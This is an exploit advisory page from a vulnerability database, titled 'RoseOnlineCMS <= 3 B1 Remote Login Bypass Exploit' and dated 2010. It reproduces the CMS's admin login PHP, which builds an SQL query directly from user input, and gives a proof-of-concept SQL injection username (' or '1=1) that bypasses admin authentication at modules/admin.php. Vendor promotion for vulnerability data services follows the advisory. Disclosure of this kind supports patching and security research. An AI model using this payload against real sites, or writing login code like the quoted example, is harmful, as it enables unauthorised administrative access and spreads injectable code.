Lucene search
K

RoseOnlineCMS <= 3 B1 Remote Login Bypass Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

RoseOnlineCMS <= 3 B1 Remote Login Bypass Exploit with magic_quotes_gpc of

Code

                                                                            \#&#39;#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |  RoseOnlineCMS &#60;= 3 B1 Remote Login Bypass Exploit |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------

[!] Discovered: cr4wl3r &#60;cr4wl3r[!]linuxmail.org&#62;
[!] Download: http://sourceforge.net/projects/rosecms/files/
[!] Date: 16.01.2010
[!] Remote: yes

[!] Code :


&#60;form action=&#34;&#60;?php $PHP_SELF; ?&#62;&#34; method=&#34;post&#34;&#62;

  &#60;div align=&#34;center&#34;&#62;
    &#60;table width=&#34;295&#34; border=&#34;0&#34;&#62;
      &#60;tr&#62;
        &#60;td width=&#34;64&#34;&#62;Username:&#60;/td&#62;
        &#60;td width=&#34;215&#34;&#62;
          &#60;label&#62;
          &#60;input name=&#34;user&#34; type=&#34;text&#34; id=&#34;user&#34;&#62;
          &#60;/label&#62;        &#60;/td&#62;
      &#60;/tr&#62;
      &#60;tr&#62;
        &#60;td&#62;Password:&#60;/td&#62;
        &#60;td&#62;          &#60;input name=&#34;pass&#34; type=&#34;text&#34; id=&#34;pass&#34;&#62;        &#60;/td&#62;
      &#60;/tr&#62;
    &#60;/table&#62;
  &#60;/div&#62;
  &#60;p align=&#34;center&#34;&#62;
    &#60;em&#62;
    &#60;input name=&#34;submit&#34; type=&#34;submit&#34; id=&#34;submit&#34; value=&#34;Login&#34;&#62;
    &#60;/em&#62;
&#60;/form&#62;
&#60;/p&#62;
&#60;?php
if(isset($_POST[&#39;submit&#39;])) {


// username and password sent from signup form
$USER = $_POST[&#39;user&#39;];
$PASS = md5($_POST[&#39;pass&#39;]);

$sql = &#34;SELECT * FROM `accounts` WHERE username=&#39;$USER&#39; and password=&#39;$PASS&#39; and accesslevel = &#39;300&#39;&#34;;
$result = mysql_query($sql);

// Mysql_num_row is counting table row
$count = mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count == 1){
// Register $user, $pass and redirect to file ?op=admin
session_register(&#34;USER&#34;);
session_register(&#34;PASS&#34;);
echo(&#39;Logged in: &#60;a href=?op=admincp&#62;Click here&#60;/a&#62; to go to the control panel.&#39;);
}
else {
echo &#34;You are banned, or you are an user with no permission to enter.&#34;;
}
}
?&#62;

[!] PoC: [RoseOnlineCMS_path]/modules/admin.php

    username : &#39; or &#39;1=1
    password : cr4wl3r
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation